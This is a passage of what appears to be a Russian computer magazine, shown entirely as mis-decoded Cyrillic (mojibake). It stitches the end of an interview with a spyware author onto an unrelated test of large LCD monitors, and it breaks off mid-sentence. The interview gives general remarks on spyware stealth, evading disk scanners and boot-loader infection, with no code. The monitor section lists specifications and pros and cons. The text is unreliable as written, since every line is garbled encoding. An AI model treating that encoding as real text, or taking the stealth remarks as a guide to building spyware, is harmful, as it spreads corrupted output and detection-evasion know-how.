òèïîâ äèñêîâ, âîò èõ è íå ïåðåõâàòûâàë. À ñëåäî-
âàëî áû. Íî âñåãî æå íå ó÷òåøü. Ê òîìó æå íåêîòî-
ðûå ðåâèçîðû ñêàíèðóþò äèñê åùå äî çàãðóçêè
îïåðàöèîííîé ñèñòåìû, à ïîòîìó â ïðèíöèïå íå
ìîãóò áûòü ïåðåõâà÷åíû øïèîíîì. Òî åñòü, ìîãóò
êîíå÷íî, íî äëÿ ýòîãî øïèîí äîëæåí âíåäðÿòüñÿ â
ïåðâè÷íûé çàãðóç÷èê. Õîðîøî, êîãäà îí ðàñïîëî-
æåí íà IDE-äèñêå, à åñëè ýòî RAID èëè SCSI? Ñî-
êðûòèå ñâîåãî ïðèñóòñòâèÿ (òî åñòü ñòåëñèðîâà-
íèå) — èçíà÷àëüíî ïëîõàÿ è ïîðî÷íàÿ èäåÿ, ïî-
ñêîëüêó îíà ïîðîæäàåò ïðîáëåìû, ðåøåíèå êîòî-
ðûõ ïîðîæäàåò íîâûå ïðîáëåìû. Âïðî÷åì, ýòî
òîëüêî ìîå ëè÷íîå ìíåíèå, è åñëè çàêàç÷èê õî÷åò
ïîëó÷èòü ñòåëñèðîâàíèå — îí åãî ïîëó÷àåò. Íî ÿ
ñðàçó æå ïðåäóïðåæäàþ åãî, ÷åì ýòî ÷ðåâàòî.

Â  Ñ Î Ç Ä À Í È È  Ø Ï È Î Í Î Â  

Ñ Ò Î Ë Ü Ê Î  Ò Î Í Ê Î Ñ Ò Å É . . .

Äà. Íî íà ñàìîì äåëå èõ ãîðàçäî áîëüøå,
÷åì òû äóìàåøü. Õîðîøèé øïèîí — áîëü-

øàÿ ðåäêîñòü, è åãî êîíñòðóêöèÿ îòðàáàòûâàåòñÿ
ãîäàìè: ïðîñòî òàê ñåñòü è íàïèñàòü íè ó êîãî íå
ïîëó÷èòñÿ, îñîáåííî åñëè òû íè÷åãî êðó÷å äîìàø-
íåãî ÏÊ ñ IDE-âèí÷åñòåðîì è Windows XP Professio-
nal â ãëàçà íå âèäåë! Íåîáõîäèìî èìåòü îïûò ðàáî-
òû ñ ðàçëè÷íûì îáîðóäîâàíèåì, èññëåäîâàòü ñîò-
íè çàùèòíûõ ìåõàíèçìîâ (òèïà áðàíäìàóýðîâ, ñè-
ñòåì îáíàðóæåíèÿ âòîðæåíèÿ è ò. ä.). Ïðè÷åì çíàòü
íå òîëüêî òåîðèþ, íî è ïðàêòè÷åñêèé ðàñêëàä, è
ðàññòàíîâêó ñèë. Òî åñòü ðåàëüíîå ïîëîæåíèå äåë,
îïðåäåëÿåìîå ïðåñëîâóòûì ÷åëîâå÷åñêèì ôàêòî-
ðîì. È ìíîãî ÷åãî åùå...

À  Ê À Ê  Í À Ñ × Å Ò  Ø Ï È Î Í À Æ À  Â  Í È Ê Ñ À Õ ?

Òåõíè÷åñêè ýòî âåñüìà ïðîñòî. Åñëè òîëüêî
ýòî íå OpenBSD, è àäìèí íå ëàòàåò ñèñòå-

ìó ñ ïàðàíîè÷åñêîé óñåðäíîñòüþ. Ó ìåíÿ åñòü íåñ-
êîëüêî ãîòîâûõ øïèîíîâ, íî ñïðîñ íà íèõ ïîðÿäêà
íà äâà ìåíüøå, ÷åì íà Windows. Íî, âîçìîæíî, â
áóäóùåì ñèòóàöèÿ èçìåíèòñÿ, ïîýòîìó øïèîíû
íåîáõîäèìî ïîäãîòîâèòü çàðàíåå.

Ê Î Ì Ó  Ä À Í Î  Ï È Ñ À Ò Ü  Ø Ï È Î Í Û ?  

Ðàçðàáîòêà øïèîíîâ — ýòî óäåë òåõ, êòî íå
ñìîã (èëè íå çàõîòåë) ðåàëèçîâàòü ñåáÿ
êàê-íèáóäü èíà÷å. Ñâåðõáîëüøèõ äåíåã íå

ïðèíîñèò, à ðèñê âñå-òàêè åñòü. Îí äàâèò íà òåáÿ
êàê òàíê, íàâèñàåò, ñëîâíî îñåííåå íåáî, íî... íè-
÷åãî äðóãîãî êðîìå øïèîíîâ òû ïðîãðàììèðîâàòü
íå óìååøü, à êëåïàòü îïëåóõè òåáå íå ïîçâîëÿåò
ãîðäîñòü. Âîò è...  

Î
Ô

Ô
Ò

Î
Ï

È
Ê



Î
Ô

Ô
Ò

Î
Ï

È
Ê

Òåáå óæå íàâåðíÿêà íàäîåë òâîé LCD’øíèê ñ äèàãîíàëüþ 15 äþéìîâ, è óæå
äàâíî õî÷åòñÿ ñìîòðåòü êèíî èëè èãðàòü â èãðû íà áîëüøîì ýêðàíå, æåëà-
òåëüíî âî âñþ ñòåíó. Òàêîé ìàñøòàá îñóùåñòâèòü áóäåò ñëîæíîâàòî è,
ãëàâíîå, äîðîãîâàòî, íî âîò îáçàâåñòèñü êà÷åñòâåííûì ìîíèòîðîì ñ áîëü-
øèì è, åñëè õî÷åøü, øèðîêèì ýêðàíîì âïîëíå ðåàëüíî. Ïðàâäà, íàäî îñ-
îçíàâàòü, ÷òî óðîâåíü öåí ïîêà îñòàåòñÿ âûñîêèì.

ìåòîäèêà òòåñòèðîâàíèÿ. Äëÿ íà÷àëà ðàññìàòðèâàëîñü âðåìÿ îòêëèêà
ïèêñåëåé —  îäèí èç ñàìûõ âàæíûõ ïàðàìåòðîâ äëÿ æèäêîêðèñòàëëè÷åñêèõ
ìîíèòîðîâ. Äëÿ ýòîãî ñ ïîìîùüþ èçâåñòíîé óòèëèòû TFTtest íà ýêðàí âûâî-
äèëñÿ ÷åðíûé ôîí, ïî êîòîðîìó áûñòðî ïåðåìåùàëñÿ áåëûé êâàäðàòèê. ×åì
ñèëüíåå îí ðàçìûâàåòñÿ, òåì âûøå âðåìÿ ðåàêöèè, à çíà÷èò, òåì õóæå áóäóò
îòîáðàæàòüñÿ äèíàìè÷íûå ñöåíû èç ôèëüìîâ èëè èãð. Íà âòîðîì ìåñòå ïî
âàæíîñòè ñòîèò öâåòîïåðåäà÷à — íàñêîëüêî ïðàâèëüíî ìîíèòîð îòîáðàæàåò
òå èëè èíûå öâåòà. Äëÿ åå ïðîâåðêè ìû èñïîëüçîâàëè êîëîðèìåòð — îí ïîäà-
åò íà âèäåîêàðòó ïîñëåäîâàòåëüíîñòü ñèãíàëîâ, ñîîòâåòñòâóþùèõ ðàçëè÷íûì

îòòåíêàì, è ñ ïîìîùüþ äàò÷èêà ðåãèñòðèðóåò, íàñêîëüêî ïîëó÷åííîå èçîáðà-
æåíèå áóäåò ñîîòâåòñòâîâàòü ýòèì ñèãíàëàì. Íà âûõîäå ìû èìååì äèàãðàììó
ñ ëèíèÿìè, ñîîòâåòñòâóþùèìè òðåì îñíîâíûì öâåòàì ïàëèòðû (êðàñíûé, çå-
ëåíûé, ñèíèé). Â èäåàëå îíè äîëæíû ñîâïàñòü ìåæäó ñîáîé â îäíó ïðÿìóþ è
òî÷íî ëå÷ü íà äèàãîíàëü êâàäðàòà, ñîîòâåòñòâóþùåãî êîîðäèíàòàì. Ëþáîå îò-
êëîíåíèå ñâèäåòåëüñòâóåò î íåêîððåêòíîñòè îòîáðàæåíèÿ òåõ èëè èíûõ öâå-
òîâ. ßðêîñòü è êîíòðàñòíîñòü ïðîâåðÿëèñü ñëåäóþùèì îáðàçîì: êàæäûé èç ïà-
ðàìåòðîâ âûñòàâëÿëñÿ íà ìàêñèìàëüíîå è ìèíèìàëüíîå çíà÷åíèå —  ÷åì øè-
ðå ïîëó÷àëñÿ äèàïàçîí, òåì òî÷íåå ìîæíî íàñòðîèòü êàðòèíêó ïîä òîò èëè
èíîé óðîâåíü îñâåùåíèÿ. Íî ìàòðèöà íå âñåãäà áûâàåò ñäåëàíà îäèíàêîâî êà-
÷åñòâåííî ïî âñåé ïîâåðõíîñòè, òàê ÷òî ÿðêîñòü â ðàçíûõ åå ÷àñòÿõ ìîæåò ðàç-
ëè÷àòüñÿ. Äëÿ òîãî ÷òîáû ýòî âûÿâèòü, íà ýêðàí âûâîäèëñÿ ÷åðíûé è áåëûé
öâåò, ïîñëå ÷åãî ìû èçó÷àëè, íàñêîëüêî ïðàâèëüíî îíè îòîáðàæàþòñÿ (íåò ëè
ãîëóáîâàòûõ ðàçâîäîâ èëè ïÿòåí). Ïðîâåðÿëèñü è óãëû îáçîðà: íàñêîëüêî áû-
ñòðî íà÷èíàåò èñêàæàòüñÿ êàðòèíêà, åñëè ïîâîðà÷èâàòü îñü çðåíèÿ îòíîñè-
òåëüíî ýêðàíà. Îñîáîå âíèìàíèå îáðàùàëîñü íà ýðãîíîìè÷íîñòü è óäîáñòâî
èñïîëüçîâàíèÿ, ÷òî â ïåðâóþ î÷åðåäü ñâÿçàíî ñ áîëüøèìè ðàçìåðàìè âñåõ èñ-
ïûòóåìûõ, è òî, íàñêîëüêî ãèáêî èõ ìîæíî àäàïòèðîâàòü ïîä òî èëè èíîå ðàáî-
÷åå ìåñòî, ÷òî äîëæíî áûòü íåìàëîâàæíûì êðèòåðèåì ïðè ïîêóïêå.
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SAMSUNG 
SyncMaster 204B
($562) 9 áàëëîâ

ÐÀÇÌÅÐ ÝÊÐÀÍÀ (ÂÈÄÈÌÛÉ): 20’

ÌÀÊÑÈÌÀËÜÍÎÅ ÐÀÇÐÅØÅÍÈÅ: 1600x1200

ßÐÊÎÑÒÜ: 300 êêä/ì2

ÊÎÍÒÐÀÑÒ: 800:1

ËÀÒÅÍÒÍÎÑÒÜ ÌÀÒÐÈÖÛ: 5 ììñ

ÓÃÎË ÇÐÅÍÈß (ÏÎ ÂÅÐÒÈÊÀËÈ/

ÏÎ ÃÎÐÈÇÎÍÒÀËÈ): 160/160°

ÈÍÒÅÐÔÅÉÑÛ: D-SSUB, DDVI-DD

ÑÒÀÍÄÀÐÒÛ ÁÅÇÎÏÀÑÍÎÑÒÈ: TCO’03

ÌÎÙÍÎÑÒÜ ÄÈÍÀÌÈÊÎÂ: íåò

ÐÀÇÌÅÐÛ: 444x 427.6x 200 ììì

ÂÅÑ: 7.7 êêã

ïëþñû. Öâåòîïåðåäà÷à õîðî-
øàÿ, ïðàâäà, íåñêîëüêî õóæå, ÷åì ó
áîëåå ïðîäâèíóòîãî ñîáðàòà: ëèíèè
êðàñíîãî è çåëåíîãî ïî÷òè èäåàëü-
íî ñîâïàäàþò, à âîò ñèíèé ñëåãêà
ñìåùåí ââåðõ. Ëàòåíòíîñòü ìàòðè-
öû áëèçêà ê èäåàëüíîé: ðàçìûòèå
äâèæóùèõñÿ îáúåêòîâ âèäíî ëèøü
ïðè äåòàëüíîì ðàññìîòðåíèè è íè-
êàê íå ìîæåò ñêàçàòüñÿ íà êà÷åñòâå

èçîáðàæåíèÿ. Áîëüøèå, ïî ñðàâíå-
íèþ ñ êîíêóðåíòàìè, óãëû îáçîðà,
íî åñëè ñìîòðåòü íà ýêðàí ñíèçó,
öâåòà âñå æå íà÷èíàþò èíâåðòèðî-
âàòüñÿ. Íèêàêèõ ïðîáëåì ñ ýðãîíî-
ìèêîé: êîðïóñ âðàùàåòñÿ âî âñåõ
íàïðàâëåíèÿõ è, ÷òî ñàìîå ãëàâíîå,
åãî ìîæíî ïðèïîäíèìàòü èëè îïó-
ñêàòü îòíîñèòåëüíî ñòîëà. Â ñòàíè-
íå èìååòñÿ ïîâîðîòíûé êðóã, òàê
÷òî ìîæíî íå áîÿòüñÿ ñòàâèòü Sam-
sung SyncMaster 204b íà ýìàëèðî-
âàííóþ ïîâåðõíîñòü — îí åå íå ïî-
öàðàïàåò. Ìåíþ íà ðóññêîì ÿçûêå ñ
áîëüøèì êîëè÷åñòâîì îïöèé, à ÿð-
êîñòü è êîíòðàñòíîñòü âûâåäåíû íà
îòäåëüíûå êíîïêè.

ìèíóñû. Íèçêîå ìàêñèìàëüíîå
çíà÷åíèå ÿðêîñòè: äëÿ íîðìàëüíîé
ðàáîòû åãî õâàòàåò âïðèòûê. Çàñâåò-
êà ìàòðèöû íåðàâíîìåðíàÿ — åñëè
âûâåñòè áåëûé öâåò âî âåñü ýêðàí,
ïî âñåé åãî ïîâåðõíîñòè áóäóò âèäíû
õàðàêòåðíûå ðàçâîäû. Íåò ôèêñàòî-
ðà, ïîçâîëÿþùåãî îðèåíòèðîâàòü
ýêðàí òî÷íî ïî ãîðèçîíòàëè, òàê ÷òî
ïðèõîäèòñÿ ýòî äåëàòü âðó÷íóþ.
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SONY SDM-S205F
($730) 8 áàëëîâ

ÐÀÇÌÅÐ ÝÊÐÀÍÀ (ÂÈÄÈÌÛÉ): 20.1’

ÌÀÊÑÈÌÀËÜÍÎÅ ÐÀÇÐÅØÅÍÈÅ: 1600x1200

ßÐÊÎÑÒÜ: 300 êêä/ì2

ÊÎÍÒÐÀÑÒ: 700:1

ËÀÒÅÍÒÍÎÑÒÜ ÌÀÒÐÈÖÛ: 16 ììñ

ÓÃÎË ÇÐÅÍÈß (ÏÎ ÂÅÐÒÈÊÀËÈ/

ÏÎ ÃÎÐÈÇÎÍÒÀËÈ): 178/178°

ÈÍÒÅÐÔÅÉÑÛ: D-SSUB, DDVI-DD

ÑÒÀÍÄÀÐÒÛ ÁÅÇÎÏÀÑÍÎÑÒÈ: TCO’03

ÌÎÙÍÎÑÒÜ ÄÈÍÀÌÈÊÎÂ: íåò

ÐÀÇÌÅÐÛ: 442x 411x 278 ììì

ÂÅÑ: 9.6 êêã

ïëþñû. Ïðàêòè÷åñêè èäåàëü-
íàÿ öâåòîïåðåäà÷à: âñå ëèíèè ïî÷-
òè ñëèëèñü âîåäèíî, è ëèøü â íà÷à-
ëå âèäíî íåáîëüøîå îòêëîíåíèå
ââåðõ, êîòîðîå, âïðî÷åì, íå ìîæåò
ñèëüíî ïîâëèÿòü íà ñèòóàöèþ. Ïî-
ìèìî ÿðêîñòè èìååòñÿ è äîïîëíè-
òåëüíàÿ ïîäñâåòêà ìàòðèöû, êîòî-
ðàÿ ÿâëÿåòñÿ äîïîëíèòåëüíûì ïà-
ðàìåòðîì, ïîçâîëÿþùèì áîëåå êà-
÷åñòâåííî ðåãóëèðîâàòü èçîáðàæå-
íèå. Åñòü è ôèêñèðîâàííûå íà-

ñòðîéêè — ECO Mode: ñðåäíÿÿ,
òåìíàÿ, ÿðêàÿ, àâòîôîðìàò (ðó÷íàÿ
íàñòðîéêà). Íå ìîãóò íå ðàäîâàòü
óãëû îáçîðà: äàæå ïðè áîëüøèõ îò-
êëîíåíèÿõ îò öåíòðà êàðòèíêà
ëèøü ÷óòü òóñêíååò. Êàê è ìíîãèå
åãî êîíêóðåíòû, Sony SDM-S205F
îáëàäàåò îòëè÷íîé ýðãîíîìèêîé:
ýêðàí ïîâîðà÷èâàåòñÿ ïðàêòè÷åñêè
âî âñåõ íàïðàâëåíèÿõ, à ÷òîáû ïî-
âåðõíîñòü ñòîëà íå öàðàïàëàñü, íà
íèæíåé ÷àñòè ñòàíèíû ïðåäóñìî-
òðåí ïîâîðîòíûé êðóã. Ìåíþ îòëè-
÷àåòñÿ ïîíÿòíîé ñòðóêòóðîé è ñíàá-
æåíî ðóññêèì ÿçûêîì. Sony SDM-
S205F èìååò àóäèîâõîä è âûõîä,
÷òî óäîáíî, åñëè òû èñïîëüçóåøü
íàóøíèêè. Ïðàâäà, âñòðîåííûõ êî-
ëîíîê íåò.

ìèíóñû. Çàìåòíàÿ ëàòåíò-
íîñòü ìàòðèöû: êðàé äâèæóùåãîñÿ
ïî ÷åðíîìó ôîíó áåëîãî êâàäðàòà
ðàçìûâàåòñÿ. Ýòî âèäíî äàæå ïðè
îáû÷íîì ñêðîëëèíãå òåêñòà. 
Ïîâîðîòíûé êðóã òóãîâàò è ìîæåò
ïðîñêàëüçûâàòü. ßðêîñòü è êîí-
òðàñòíîñòü ðåãóëèðóþòñÿ òîëüêî 
èç ìåíþ.

SAMSUNG 
SyncMaster 214T
($840) 9 áàëëîâ

ÐÀÇÌÅÐ ÝÊÐÀÍÀ (ÂÈÄÈÌÛÉ): 21.3’

ÌÀÊÑÈÌÀËÜÍÎÅ ÐÀÇÐÅØÅÍÈÅ: 1600x1200

ßÐÊÎÑÒÜ: 300 êêä/ì2

ÊÎÍÒÐÀÑÒ: 900:1

ËÀÒÅÍÒÍÎÑÒÜ ÌÀÒÐÈÖÛ: 8 ììñ

ÓÃÎË ÇÐÅÍÈß (ÏÎ ÂÅÐÒÈÊÀËÈ/

ÏÎ ÃÎÐÈÇÎÍÒÀËÈ): 178/178°

ÈÍÒÅÐÔÅÉÑÛ: D-SSUB, DDVI-DD

ÑÒÀÍÄÀÐÒÛ ÁÅÇÎÏÀÑÍÎÑÒÈ: TCO’03

ÌÎÙÍÎÑÒÜ ÄÈÍÀÌÈÊÎÂ: íåò

ÐÀÇÌÅÐÛ: 469x 466.2x 228.5 ììì

ÂÅÑ: 8.8 êêã

ïëþñû. Ó ýòîãî äåâàéñà ïîèñ-
òèíå âûäàþùàÿñÿ öâåòîïåðåäà÷à —
ïî ýòîìó ïàðàìåòðó îí âïëîòíóþ
ïðèáëèçèëñÿ ê õîðîøèì CRT-äèñïëå-
ÿì: ãðàôèêè íà äèàãðàììå ïðàêòè÷å-
ñêè ñëèëèñü âîåäèíî, à çíà÷èò, öâåòà
áóäóò îòîáðàæàòüñÿ ìàêñèìàëüíî
êîððåêòíî. Ëàòåíòíîñòü ìàòðèöû â
ïîðÿäêå — èñêàæåíèé äâèæóùèõñÿ
îáúåêòîâ çàìåòíî íå áóäåò. Òàêàÿ æå
ñèòóàöèÿ è ñ óãëàìè îáçîðà: êàðòèí-
êà íà÷èíàåò áëåêíóòü òîëüêî ïðè
ñèëüíûõ îòêëîíåíèÿõ îò öåíòðàëüíîé
îñè. Ñðàçó îòìå÷àåì îòëè÷íóþ ýðãî-
íîìèêó: ýêðàí ìîæíî âðàùàòü ïðàê-
òè÷åñêè â ëþáûõ íàïðàâëåíèÿõ è
òî÷íî íàñòðàèâàòü ïîä ñåáÿ, à ðåæèì
«ïîðòðåò» äåëàåò ðàáîòó ñ òåêñòîì
ìàêñèìàëüíî óäîáíîé. Èç äîïîëíè-
òåëüíûõ îñîáåííîñòåé ìîæíî îòìå-
òèòü íàëè÷èå âõîäîâ RCA è S-VIDEO,
ïîçâîëÿþùèõ ïîäêëþ÷àòü ðàçëè÷íóþ
âèäåîàïïàðàòóðó: åñëè òû õî÷åøü,
íàïðèìåð, ñìîòðåòü ôèëüì ñ âèäèêà
è îäíîâðåìåííî ðàáîòàòü íà êîìïå,

òî ñïåöèàëüíî äëÿ òåáÿ ïðåäóñìî-
òðåíà ôóíêöèÿ «êàðòèíêà â êàðòèí-
êå»: âòîðîå îêîøêî âîçíèêàåò â ïðà-
âîì íèæíåì óãëó ýêðàíà. Ìåíþ ïî-
äðîáíîå, ñ íàçâàíèÿìè íà ðóññêîì
ÿçûêå, ïðàâäà, óïðàâëÿòü èì íåìíî-
ãî íåóäîáíî.

ìèíóñû. Íåìíîãî ïîäâåëà ÿð-
êîñòü — åå ïðèõîäèòñÿ çàäèðàòü
ïî÷òè íà ìàêñèìóì, è åñëè òû ôà-

íàò ôèëüìîâ, òî òåìíûå ñöåíû áó-
äóò âèäíû ñðåäíå. Ê òîìó æå â
óãëàõ ýêðàíà ÿðêîñòü ÷óòü âûøå,
÷åì â öåíòðå. Ê ñîæàëåíèþ, íåò àâ-
òîìàòè÷åñêîãî âûáîðà èñòî÷íèêà
ñèãíàëà, õîòÿ ñ òàêèì êîëè÷åñòâîì
âõîäîâ ýòî ìîæåò áûòü è ïðåèìóùå-
ñòâîì, íàïðèìåð, ïðè ïîäêëþ÷åíèè
ê èíòåðôåéñàì ñðàçó íåñêîëüêèõ
âèäåîóñòðîéñòâ.
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ACER AL2416
($1016) 8 áàëëîâ

ÐÀÇÌÅÐ ÝÊÐÀÍÀ (ÂÈÄÈÌÛÉ): 24’

ÌÀÊÑÈÌÀËÜÍÎÅ ÐÀÇÐÅØÅÍÈÅ: 1920x1200

ßÐÊÎÑÒÜ: 500 êêä/ì2

ÊÎÍÒÐÀÑÒ: 1000:1

ËÀÒÅÍÒÍÎÑÒÜ ÌÀÒÐÈÖÛ: 6 ììñ

ÓÃÎË ÇÐÅÍÈß (ÏÎ ÂÅÐÒÈÊÀËÈ/

ÏÎ ÃÎÐÈÇÎÍÒÀËÈ): 178/178°

ÈÍÒÅÐÔÅÉÑÛ: D-SSUB

ÑÒÀÍÄÀÐÒÛ ÁÅÇÎÏÀÑÍÎÑÒÈ: TCO’03

ÌÎÙÍÎÑÒÜ ÄÈÍÀÌÈÊÎÂ: íåò

ÐÀÇÌÅÐÛ 577õ 457õ 221 ììì

ÂÅÑ: 9.1 êêã

ïëþñû. Ýòîò ìîíèòîð ñïå-
öèàëüíî ïðåäíàçíà÷åí äëÿ ëþáèòå-
ëåé êèíî, òàê êàê ýêðàí ó íåãî èìååò
øèðîêèé ôîðìàò. Î÷åíü õîðîøàÿ
öâåòîïåðåäà÷à: âñå ëèíèè ïî÷òè
ñîâïàëè, åñëè íå ñ÷èòàòü ðåçêîãî
ñêà÷êà ñèíåãî â ñàìîì íà÷àëå äè-
àïàçîíà. ßðêîñòü ñàìà ïî ñåáå íå-
âûñîêàÿ, íî åñëè åå õîðîøî ñáàëàí-
ñèðîâàòü ñ êîíòðàñòíîñòüþ, òî ìîæ-
íî ïîëó÷èòü ïî÷òè ëþáûå ïàðàìå-
òðû èçîáðàæåíèÿ. Çàñâåòêà ìàòðè-
öû ðàâíîìåðíàÿ, òàê ÷òî èñêàæåíèé
öâåòîâ îáúåêòîâ â ðàçíûõ åå ÷àñòÿõ
íå áóäåò. Ñ óãëàìè îáçîðà íèêàêèõ

ïðîáëåì, ÷òî âåñüìà âàæíî äëÿ «êè-
íîøíîãî» ìîíèòîðà.

ìèíóñû. Ëàòåíòíîñòü ìàòðèöû
âñå æå âûñîêîâàòà — çà äâèæó-
ùèìñÿ êâàäðàòîì âèäåí çàìåòíûé
øëåéô, íî îí âñå æå îòíîñèòåëüíî
íåâåëèê. Íàâèãàöèÿ ïî ìåíþ íåó-
äîáíàÿ, äà è îòñóòñòâèå ðóññêîãî
ÿçûêà íåñêîëüêî ðàññòðàèâàåò. Ê
ñîæàëåíèþ, îòñóòñòâóåò öèôðîâîé
âõîä, ÷òî äëÿ òàêîãî äåâàéñà ñòðàí-
íî. Ïîâîðà÷èâàòü ýêðàí ìîæíî
ëèøü ââåðõ èëè âíèç, ÷òî íå îñîáî
óäîáíî, åñëè ó÷åñòü ðàçìåðû
óñòðîéñòâà.
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ViewSonic VP2030b
($898) 8 áàëëîâ

ÐÀÇÌÅÐ ÝÊÐÀÍÀ (ÂÈÄÈÌÛÉ): 20.1’

ÌÀÊÑÈÌÀËÜÍÎÅ ÐÀÇÐÅØÅÍÈÅ: 1600x1200

ßÐÊÎÑÒÜ: 300 êêä/ì2

ÊÎÍÒÐÀÑÒ: 1000:1

ËÀÒÅÍÒÍÎÑÒÜ ÌÀÒÐÈÖÛ: 8 ììñ

ÓÃÎË ÇÐÅÍÈß (ÏÎ ÂÅÐÒÈÊÀËÈ/ÏÎ ÃÎÐÈ-

ÇÎÍÒÀËÈ): 170/170°

ÈÍÒÅÐÔÅÉÑÛ: D-SSUB, DDVI-DD

ÑÒÀÍÄÀÐÒÛ ÁÅÇÎÏÀÑÍÎÑÒÈ: TCO’99

ÌÎÙÍÎÑÒÜ ÄÈÍÀÌÈÊÎÂ: íåò

ÐÀÇÌÅÐÛ: 468x 403x 315 ììì

ÂÅÑ, ÊÃ: 9 êêã

ïëþñû. Øèðîêèå äèàïàçîíû
ÿðêîñòè è êîíòðàñòíîñòè, ê òîìó æå
äëÿ èõ èçìåíåíèÿ ñîâåðøåííî íå
îáÿçàòåëüíî ëåçòü â ìåíþ (èìåþò-
ñÿ ñïåöèàëüíûå êíîïêè). Âñÿ ïî-
âåðõíîñòü ýêðàíà ïîäñâå÷èâàåòñÿ
ðàâíîìåðíî. Áîëüøèå óãëû îáçî-
ðà: åñëè òåáå íðàâèòñÿ ñìîòðåòü
ôèëüìû â áîëüøîé êîìïàíèè, òî
äëÿ âñåõ ïðèñóòñòâóþùèõ èçîáðà-
æåíèå áóäåò êà÷åñòâåííûì, äàæå
åñëè îíè íàõîäÿòñÿ ñèëüíî â ñòî-
ðîíå îò ìîíèòîðà. Õîðîøî âûïîë-
íåíà ñòàíèíà, ïîääåðæèâàþùàÿ

ýêðàí — îíà ïîçâîëÿåò íàñòðîèòü
ýêðàí òî÷íî ïîä òâîé âçãëÿä, âíå
çàâèñèìîñòè îò òîãî, âûñîêî ëè ó
òåáÿ ðàñïîëîæåí ñòîë. Äëÿ òåõ, êòî
ìíîãî ðàáîòàåò ñ òåêñòîì, èìååòñÿ
ðåæèì «ïîðòðåò». Èç äîïîëíèòåëü-
íûõ âîçìîæíîñòåé îòìå÷àåì
âñòðîåííûé USB-êîíöåíòðàòîð íà
÷åòûðå ïîðòà. Â êîìïëåêò ïîñòàâêè
ïðåäóñìîòðèòåëüíî âõîäèò ñîîò-
âåòñòâóþùèé êàáåëü.

ìèíóñû. Ãðàôèêè, ïîëó÷åííûå
êîëîðèìåòðîì, çàìåòíî ðàñõîäÿòñÿ,
÷òî âñå æå õóæå, ÷åì ó íåêîòîðûõ
êîíêóðåíòîâ. Âåëèêî âðåìÿ îòêëèêà
ïèêñåëÿ: çà äâèæóùèìñÿ êâàäðàòîì
âèäåí çàìåòíûé øëåéô. Ñòàíèíà
ñäåëàíà â âèäå êðåñòà, èç-çà ýòîãî
ïåðåäíèå åå ÷àñòè ñëèøêîì ñèëüíî
âûäâèíóòû âïåðåä è ìîãóò ìåøàòü.
Ìåíþ ñäåëàíî íåìíîãî íåëîãè÷íî è
â íåì íåò ðóññêîãî ÿçûêà.

NEC Multisync
20WGX2
($800) 9 áàëëîâ  

ÐÀÇÌÅÐ ÝÊÐÀÍÀ (ÂÈÄÈÌÛÉ): 24’

ÌÀÊÑÈÌÀËÜÍÎÅ ÐÀÇÐÅØÅÍÈÅ: 1680x1050

ßÐÊÎÑÒÜ: 470 êêä/ì2

ÊÎÍÒÐÀÑÒ: 1600:1

ËÀÒÅÍÒÍÎÑÒÜ ÌÀÒÐÈÖÛ: 6 ììñ

ÓÃÎË ÇÐÅÍÈß (ÏÎ ÂÅÐÒÈÊÀËÈ/ÏÎ ÃÎÐÈ-

ÇÎÍÒÀËÈ): 178/178°

ÈÍÒÅÐÔÅÉÑÛ: D-SSUB

ÑÒÀÍÄÀÐÒÛ ÁÅÇÎÏÀÑÍÎÑÒÈ: TCO’03

ÌÎÙÍÎÑÒÜ ÄÈÍÀÌÈÊÎÂ: íåò

ÐÀÇÌÅÐÛ: 471.4x 391.5x 203 ììì

ÂÅÑ: 7 êêã

ïëþñû. Ýòîò äåâàéñ îáëàäàåò
ëó÷øåé âî âñåì òåñòå ÷åòêîñòüþ êàð-
òèíêè: âñå êîíòðàñòíûå ïåðåõîäû —
ìàêñèìàëüíî òîíêèå, ÷òî îñîáåííî
çàìåòíî ïðè âûâåäåíèè íà ýêðàí
ìåëêèõ øðèôòîâ, è åñëè ó êîíêóðåí-
òîâ îíè áû ïðîñòî ñìàçàëèñü, òî ó
NEC MiltiSync 20WGX2 — íåò. Öâå-
òîïåðåäà÷à áëèçêà ê èäåàëó: åñëè
íå ñ÷èòàòü íåáîëüøîãî ðàñõîæäåíèÿ
â íà÷àëå äèàïàçîíà, ëèíèè ïî÷òè
ïîëíîñòüþ ñîâïàëè. ßðêîñòü è êîí-

òðàñòíîñòü íà âûñîêîì óðîâíå, 
è äëÿ èõ èçìåíåíèÿ ñîâñåì íåîáÿçà-
òåëüíî ëåçòü ãëóáîêî â ìåíþ. Î÷åíü
õîðîøàÿ ëàòåíòíîñòü — ó äâèæó-
ùèõñÿ îáúåêòîâ ëèøü ÷óòü çàìåòíî
ðàçìûâàåòñÿ êðàé. Óãëû îáçîðà íè-
êàêèõ íàðåêàíèé íå âûçûâàþò. Åñòü
âñòðîåííûé ðàçâåòâèòåëü USB íà
÷åòûðå ïîðòà, ïðè÷åì äâà èç íèõ
ðàñïîëîæåíû íà ëåâîì òîðöå äåâàé-
ñà äëÿ áîëåå óäîáíîãî ïîäêëþ÷åíèÿ
ïåðèôåðèè. Äëÿ íàâèãàöèè ïî ìåíþ
ïðåäóñìîòðåíî òðè êíîïêè è îäèí
äæîécòèê, ÷òî äåëàåò ïåðåõîä ïî îï-
öèÿì ìàêñèìàëüíî ïîíÿòíûì. ×òîá
øëåéôû íå ïåðåêðó÷èâàëèñü, íà
ñòàíèíå ïðåäóñìîòðåíî ñïåöèàëüíîå
óãëóáëåíèå, êóäà îíè âñå çàãîíÿþòñÿ.

ìèíóñû. Åñëè âûâåñòè ÷åðíûé
öâåò âî âåñü ýêðàí, òî â ïðàâîì íè-
æíåì óãëó áóäåò âèäåí õàðàêòåðíûé
áåëåñûé ðàçâîä (îí áóäåò âèäåí
âñåãäà ïðè ïðîñìîòðå òåìíîãî 
èçîáðàæåíèÿ). Èíäèêàòîðîì ðàáîòû
ñëóæèò ñèíèé ñâåòîäèîä, ÿðêèé 
ëó÷ êîòîðîãî ìîæåò îòâëåêàòü îò ðà-
áîòû. Íà ìàòðèöå ïðåäóñìîòðåíî 
çàùèòíîå ïîêðûòèå, êîòîðîå 
ñèëüíî áëèêóåò. 
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âûâîäû. Êàê âèäíî èç òåñòà, ñîâðåìåííûé ðûíîê ìîíèòîðîâ ñ áîëü-
øèì ýêðàíîì äîâîëüíî ðàçíîîáðàçåí, òàê ÷òî ëþáîé ïîëüçîâàòåëü ñìîæåò
íàéòè äåâàéñ òî÷íî äëÿ ñâîèõ íóæä. ×òî êàñàåòñÿ íàøèõ îöåíîê: «Ëó÷øåé

ïîêóïêîé» ñòàë NEC MiltiSync 20WGX2, ïîêàçàâøèé õîðîøåå êà÷åñòâî èçî-
